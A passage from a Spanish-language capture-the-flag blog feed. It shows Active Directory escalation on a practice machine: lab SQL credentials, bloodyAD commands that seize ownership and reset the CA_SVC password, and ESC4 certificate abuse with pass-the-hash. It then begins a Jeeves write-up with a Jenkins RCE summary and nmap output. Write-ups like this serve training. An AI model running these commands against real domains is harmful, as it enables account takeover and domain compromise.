&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AGTSVCSTARTUPTYPE=&lt;span style="color:#e6db74"&gt;&amp;#34;Manual&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;COMMFABRICPORT=&lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;COMMFABRICNETWORKLEVEL=&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;COMMFABRICENCRYPTION=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;MATRIXCMBRICKCOMMPORT=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSVCSTARTUPTYPE=&amp;#34;&lt;/span&gt;Automatic&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;FILESTREAMLEVEL=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;ENABLERANU=&amp;#34;&lt;/span&gt;False&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLCOLLATION=&amp;#34;&lt;/span&gt;SQL_Latin1_General_CP1_CI_AS&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSVCACCOUNT=&amp;#34;&lt;/span&gt;SEQUEL\sql_svc&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSVCPASSWORD=&amp;#34;&lt;/span&gt;WqSZAF6CysDQbGb3&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SQLSYSADMINACCOUNTS=&amp;#34;&lt;/span&gt;SEQUEL\Administrator&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SECURITYMODE=&amp;#34;&lt;/span&gt;SQL&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;SAPWD=&amp;#34;&lt;/span&gt;MSSQLP@ssw0rd!&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;ADDCURRENTUSERASSQLADMIN=&amp;#34;&lt;/span&gt;False&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;TCPENABLED=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;NPENABLED=&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;BROWSERSVCSTARTUPTYPE=&amp;#34;&lt;/span&gt;Automatic&lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;IAcceptSQLServerLicenseTerms=True
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esa contraseña validé credenciales y confirmé acceso como &lt;strong&gt;ryan&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8032-be04-ed2043b3cf3a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Comprobé el usuario &lt;code&gt;ryan&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt; net user ryan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User name ryan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Full Name Ryan Howard
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Comment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s comment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Country/region code &lt;span style="color:#ae81ff"&gt;000&lt;/span&gt; (System &lt;span style="color:#66d9ef"&gt;Default&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Account active Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Account expires Never
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password last set &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;55&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; AM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password expires Never
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password changeable &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;55&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; AM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password required Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User may change password Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Workstations allowed All
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Logon script
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User profile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Home directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Last logon &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; AM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Logon hours allowed All
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Local Group Memberships *Remote Management Use
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Global Group memberships *Management Department*Domain Users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The command completed successfully.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como estaba en &lt;strong&gt;Remote Management Use&lt;/strong&gt;, pude usar WinRM:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-802e-b1f4-c2464b85dee8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="bloodhound-y-ruta-hacia-ad-cs"&gt;BloodHound y ruta hacia AD CS&lt;/h3&gt;
&lt;p&gt;Levanté BloodHound:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/home/kali/bloodhound-cli containers start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encontré una posible escalada (ESC1) relacionada con abuso de certificados, ya que podía llegar al grupo &lt;strong&gt;Cert Publishers&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80d9-b8ce-e662b3a1446a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Para automatizar el proceso de &lt;strong&gt;DACL Abuse&lt;/strong&gt;, utilicé &lt;code&gt;bloodyAD&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;El permiso &lt;code&gt;WriteOwner&lt;/code&gt; me permite cambiar el owner del objeto. Una vez soy owner, ya puedo modificar la DACL y darme permisos (por ejemplo, &lt;code&gt;GenericAll&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Cambiar owner:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -d sequel.htb -u ryan -p &lt;span style="color:#e6db74"&gt;&amp;#39;WqSZAF6CysDQbGb3&amp;#39;&lt;/span&gt; --host DC01.sequel.htb set owner &lt;span style="color:#e6db74"&gt;&amp;#39;CA_SVC&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;RYAN&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dar &lt;code&gt;GenericAll&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -d sequel.htb -u ryan -p &lt;span style="color:#e6db74"&gt;&amp;#39;WqSZAF6CysDQbGb3&amp;#39;&lt;/span&gt; --host DC01.sequel.htb add genericAll &lt;span style="color:#e6db74"&gt;&amp;#39;CA_SVC&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;RYAN&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cambiar contraseña (ya con control):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -d sequel.htb -u ryan -p &lt;span style="color:#e6db74"&gt;&amp;#39;WqSZAF6CysDQbGb3&amp;#39;&lt;/span&gt; --host DC01.sequel.htb set password &lt;span style="color:#e6db74"&gt;&amp;#39;CA_SVC&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;NewP@ssword2026!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Resultado:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8001-ba9b-c0ecab986477.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="ad-cs"&gt;AD-CS&lt;/h2&gt;
&lt;p&gt;Busqué vulnerabilidades en plantillas con &lt;code&gt;certipy-ad&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8007-acf7-fe307387f2a4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80f7-bc40-eb109a365ac5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Interpretación: &lt;strong&gt;ESC4&lt;/strong&gt; implica que tengo permisos para &lt;strong&gt;editar&lt;/strong&gt; la plantilla y hacerla vulnerable. Con el comando correspondiente modifiqué la template para que quedase explotable.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8058-855f-c2e0ee081870.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Volví a ejecutar el análisis y ya aparecía como vulnerable:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8047-9874-ed4a5f049c5c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Después exploté solicitando un certificado suplantando a &lt;strong&gt;Administrator&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-807a-98a5-f5ffb85bb77f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con eso obtuve el &lt;strong&gt;NT hash&lt;/strong&gt; del Admin:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8021-9c16-db32c8c511b5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Finalmente, hice &lt;strong&gt;Pass-the-Hash&lt;/strong&gt; para acceder como &lt;code&gt;Administrator&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80fb-8fee-f45cf8bce0fe.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Jeeves (Medium)</title><link>https://synacklabs.github.io/posts/jeeves/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/jeeves/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c3-82e1-ee4161eee2b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Comenzamos con un escaneo de puertos para identificar servicios expuestos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft IIS httpd &lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/&lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OPTIONS TRACE GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Ask Jeeves
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; - &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; microsoft-ds (workgroup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; WORKGROUP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Jetty &lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Jetty(&lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Error &lt;span style="color:#ae81ff"&gt;404&lt;/span&gt; Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; JEEVES; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m03s, deviation&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 0s, median&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m02s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;33742&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23387&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;64279&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23548&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; disabled (dangerous, but &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos dos puertos web principales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 80 (IIS):&lt;/strong&gt; Muestra una página de búsqueda &amp;ldquo;Ask Jeeves&amp;rdquo; que da error al intentar buscar.&lt;/li&gt;
&lt;/ul&gt;
